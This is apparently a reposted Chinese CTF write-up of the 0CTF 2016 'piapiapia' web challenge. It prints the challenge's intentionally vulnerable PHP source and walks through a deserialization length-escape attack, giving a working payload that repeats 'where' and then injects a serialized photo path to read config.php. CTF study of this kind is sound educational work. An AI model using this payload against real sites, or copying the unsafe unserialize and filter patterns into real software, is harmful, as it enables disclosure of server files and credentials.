【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

admin 2022年12月3日16:40:29评论42 views字数 9085阅读30分17秒阅读模式

[huayang]

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

老样子,进去看看

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

看看有没有注入

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)
【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

这提示看着就不像有过滤的,会不会像那次做的那题一样是泄露呢BDJCTF-2020-Web-easy_search

扫一下子域名

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)
【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

哇,貌似有好东西

下载看看

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

先贴出代码

class.php

  1. <?php
  2. require('config.php');
  3. class user extends mysql{
  4. private $table = 'users';
  5. public function is_exists($username) {
  6. $username = parent::filter($username);
  7. $where = "username = '$username'";
  8. return parent::select($this->table, $where);
  9. }
  10. public function register($username, $password) {
  11. $username = parent::filter($username);
  12. $password = parent::filter($password);
  13. $key_list = Array('username', 'password');
  14. $value_list = Array($username, md5($password));
  15. return parent::insert($this->table, $key_list, $value_list);
  16. }
  17. public function login($username, $password) {
  18. $username = parent::filter($username);
  19. $password = parent::filter($password);
  20. $where = "username = '$username'";
  21. $object = parent::select($this->table, $where);
  22. if ($object && $object->password === md5($password)) {
  23. return true;
  24. } else {
  25. return false;
  26. }
  27. }
  28. public function show_profile($username) {
  29. $username = parent::filter($username);
  30. $where = "username = '$username'";
  31. $object = parent::select($this->table, $where);
  32. return $object->profile;
  33. }
  34. public function update_profile($username, $new_profile) {
  35. $username = parent::filter($username);
  36. $new_profile = parent::filter($new_profile);
  37. $where = "username = '$username'";
  38. return parent::update($this->table, 'profile', $new_profile, $where);
  39. }
  40. public function __tostring() {
  41. return __class__;
  42. }
  43. }
  44. class mysql {
  45. private $link = null;
  46. public function connect($config) {
  47. $this->link = mysql_connect(
  48. $config['hostname'],
  49. $config['username'],
  50. $config['password']
  51. );
  52. mysql_select_db($config['database']);
  53. mysql_query("SET sql_mode='strict_all_tables'");
  54. return $this->link;
  55. }
  56. public function select($table, $where, $ret = '*') {
  57. $sql = "SELECT $ret FROM $table WHERE $where";
  58. $result = mysql_query($sql, $this->link);
  59. return mysql_fetch_object($result);
  60. }
  61. public function insert($table, $key_list, $value_list) {
  62. $key = implode(',', $key_list);
  63. $value = '\'' . implode('\',\'', $value_list) . '\'';
  64. $sql = "INSERT INTO $table ($key) VALUES ($value)";
  65. return mysql_query($sql);
  66. }
  67. public function update($table, $key, $value, $where) {
  68. $sql = "UPDATE $table SET $key = '$value' WHERE $where";
  69. return mysql_query($sql);
  70. }
  71. public function filter($string) {
  72. $escape = array('\'', '\\\\');
  73. $escape = '/' . implode('|', $escape) . '/';
  74. $string = preg_replace($escape, '_', $string);
  75. $safe = array('select', 'insert', 'update', 'delete', 'where');
  76. $safe = '/' . implode('|', $safe) . '/i';
  77. return preg_replace($safe, 'hacker', $string);
  78. }
  79. public function __tostring() {
  80. return __class__;
  81. }
  82. }
  83. session_start();
  84. $user = new user();
  85. $user->connect($config);

config.php

  1. <?php
  2. $config['hostname'] = '127.0.0.1';
  3. $config['username'] = 'root';
  4. $config['password'] = '';
  5. $config['database'] = '';
  6. $flag = '';
  7. ?>

index.php

  1. <?php
  2. require_once('class.php');
  3. if($_SESSION['username']) {
  4. header('Location: profile.php');
  5. exit;
  6. }
  7. if($_POST['username'] && $_POST['password']) {
  8. $username = $_POST['username'];
  9. $password = $_POST['password'];
  10. if(strlen($username) < 3 or strlen($username) > 16)
  11. die('Invalid user name');
  12. if(strlen($password) < 3 or strlen($password) > 16)
  13. die('Invalid password');
  14. if($user->login($username, $password)) {
  15. $_SESSION['username'] = $username;
  16. header('Location: profile.php');
  17. exit;
  18. }
  19. else {
  20. die('Invalid user name or password');
  21. }
  22. }
  23. else {
  24. ?>
  25. <!DOCTYPE html>
  26. <html>
  27. <head>
  28. <title>Login</title>
  29. <link href="static/bootstrap.min.css" rel="stylesheet">
  30. <script srcb64="static/jquery.min.js"></script>
  31. <script srcb64="static/bootstrap.min.js"></script>
  32. </head>
  33. <body>
  34. <div class="container" style="margin-top:100px">
  35. <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;">
  36. <img srcb64="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
  37. <h3>Login</h3>
  38. <label>Username:</label>
  39. <input type="text" name="username" style="height:30px"class="span3"/>
  40. <label>Password:</label>
  41. <input type="password" name="password" style="height:30px" class="span3">
  42. <button type="submit" class="btn btn-primary">LOGIN</button>
  43. </form>
  44. </div>
  45. </body>
  46. </html>
  47. <?php
  48. }
  49. ?>

profile.php

  1. <?php
  2. require_once('class.php');
  3. if($_SESSION['username'] == null) {
  4. die('Login First');
  5. }
  6. $username = $_SESSION['username'];
  7. $profile=$user->show_profile($username);
  8. if($profile == null) {
  9. header('Location: update.php');
  10. }
  11. else {
  12. $profile = unserialize($profile);
  13. $phone = $profile['phone'];
  14. $email = $profile['email'];
  15. $nickname = $profile['nickname'];
  16. $photo = base64_encode(file_get_contents($profile['photo']));
  17. ?>
  18. <!DOCTYPE html>
  19. <html>
  20. <head>
  21. <title>Profile</title>
  22. <link href="static/bootstrap.min.css" rel="stylesheet">
  23. <script srcb64="static/jquery.min.js"></script>
  24. <script srcb64="static/bootstrap.min.js"></script>
  25. </head>
  26. <body>
  27. <div class="container" style="margin-top:100px">
  28. <img srcb64="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
  29. <h3>Hi <?php echo $nickname;?></h3>
  30. <label>Phone: <?php echo $phone;?></label>
  31. <label>Email: <?php echo $email;?></label>
  32. </div>
  33. </body>
  34. </html>
  35. <?php
  36. }
  37. ?>

register.php

  1. <?php
  2. require_once('class.php');
  3. if($_POST['username'] && $_POST['password']) {
  4. $username = $_POST['username'];
  5. $password = $_POST['password'];
  6. if(strlen($username) < 3 or strlen($username) > 16)
  7. die('Invalid user name');
  8. if(strlen($password) < 3 or strlen($password) > 16)
  9. die('Invalid password');
  10. if(!$user->is_exists($username)) {
  11. $user->register($username, $password);
  12. echo 'Register OK!<a href="index.php">Please Login</a>';
  13. }
  14. else {
  15. die('User name Already Exists');
  16. }
  17. }
  18. else {
  19. ?>
  20. <!DOCTYPE html>
  21. <html>
  22. <head>
  23. <title>Login</title>
  24. <link href="static/bootstrap.min.css" rel="stylesheet">
  25. <script srcb64="static/jquery.min.js"></script>
  26. <script srcb64="static/bootstrap.min.js"></script>
  27. </head>
  28. <body>
  29. <div class="container" style="margin-top:100px">
  30. <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
  31. <img srcb64="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
  32. <h3>Register</h3>
  33. <label>Username:</label>
  34. <input type="text" name="username" style="height:30px"class="span3"/>
  35. <label>Password:</label>
  36. <input type="password" name="password" style="height:30px" class="span3">
  37. <button type="submit" class="btn btn-primary">REGISTER</button>
  38. </form>
  39. </div>
  40. </body>
  41. </html>
  42. <?php
  43. }
  44. ?>

update.php

  1. <?php
  2. require_once('class.php');
  3. if($_SESSION['username'] == null) {
  4. die('Login First');
  5. }
  6. if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
  7. $username = $_SESSION['username'];
  8. if(!preg_match('/^\d{11}$/', $_POST['phone']))
  9. die('Invalid phone');
  10. if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
  11. die('Invalid email');
  12. if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
  13. die('Invalid nickname');
  14. $file = $_FILES['photo'];
  15. if($file['size'] < 5 or $file['size'] > 1000000)
  16. die('Photo size error');
  17. move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
  18. $profile['phone'] = $_POST['phone'];
  19. $profile['email'] = $_POST['email'];
  20. $profile['nickname'] = $_POST['nickname'];
  21. $profile['photo'] = 'upload/' . md5($file['name']);
  22. $user->update_profile($username, serialize($profile));
  23. echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
  24. }
  25. else {
  26. ?>
  27. <!DOCTYPE html>
  28. <html>
  29. <head>
  30. <title>UPDATE</title>
  31. <link href="static/bootstrap.min.css" rel="stylesheet">
  32. <script srcb64="static/jquery.min.js"></script>
  33. <script srcb64="static/bootstrap.min.js"></script>
  34. </head>
  35. <body>
  36. <div class="container" style="margin-top:100px">
  37. <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
  38. <img srcb64="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
  39. <h3>Please Update Your Profile</h3>
  40. <label>Phone:</label>
  41. <input type="text" name="phone" style="height:30px"class="span3"/>
  42. <label>Email:</label>
  43. <input type="text" name="email" style="height:30px"class="span3"/>
  44. <label>Nickname:</label>
  45. <input type="text" name="nickname" style="height:30px" class="span3">
  46. <label for="file">Photo:</label>
  47. <input type="file" name="photo" style="height:30px"class="span3"/>
  48. <button type="submit" class="btn btn-primary">UPDATE</button>
  49. </form>
  50. </div>
  51. </body>
  52. </html>
  53. <?php
  54. }
  55. ?>

简单的审计一下理个大概的思路

这题的代码量大大超乎了预计

update.php有个序列化

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

profile.php有反序列化

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

可能是我们解题的关键

我们看见一个很重要的文件register.php,从中可知是注册页面

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

并且所有文件都指向class.php,而class.php又指向config.php

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

由此可知我们要的flag在加载完成后的config.php

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

注册

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)
【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

登录

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

登录完成后我们看见如上页面

Nickname是个什么东西,去源码看看

发现新大陆

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

要绕过就必须要这里为false

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

成功之后即可跳转到profile.php页面

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

这个页面是我们填写完信息展示的页面  我们发现了这边就是读取数据库中的信息 之后反序列化将值一一对应

但是对图片进行了file_get_contents() 之后又进行了 base64加密  这里我们关键是发现了file_contents()这个函数

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

结合上面发现的config.php 我们现在只要想办法让它($photo)可控读取config.php即可得到flag 

所以就要用到反序列化长度逃逸

既然先把变量序列化,然后进行过滤,在过滤的过程中把某个关键词替换成了长度更长的关键词,导致长度加长,最终引起逃逸

我们看到class.php文件

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

我们只有传入的字符串中有’where’关键字,被替换为’hacker’关键字,才会让长度加一,否则长度不变

上面我们说到了($photo)可控读取config.php

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

所以我们要将其序列化

  1. <?php
  2. $a = 'photo';
  3. $b = 'config.php';
  4. echo serialize($a);
  5. echo serialize($b);
【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

为什么多了个} 因为要闭合后面的where

因为”;}s:5:“photo”;s:10:“config.php”;}的长度为34

我们要把这34的长度给逃逸出来,由上可只需要34个where

34个where转换为hacker刚好多出34个长度

payload

  1. wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

注意一下phone和email的格式等下懒得重新搞

抓包把nickname改为数组,就是添加一个[]

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)
【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

放包进去即可看见flag

【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)
【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)

参考文章:
https://www.jianshu.com/p/3b44e72444c1
https://www.cnblogs.com/xhds/p/12393686.html
https://blog.csdn.net/qq_43622442/article/details/105751356
https://blog.csdn.net/crisprx/article/details/104705018/
https://blog.csdn.net/zz_Caleb/article/details/96777110
http://www.mamicode.com/info-detail-2903729.html
http://yqxiaojunjie.com/index.php/archives/171/

[/huayang]

FROM:浅浅淡淡[hellohy]

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月3日16:40:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【原创】记一次ctf实战—— 0CTF-2016-Web-piapiapia(失败)https://cn-sec.com/archives/1443377.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息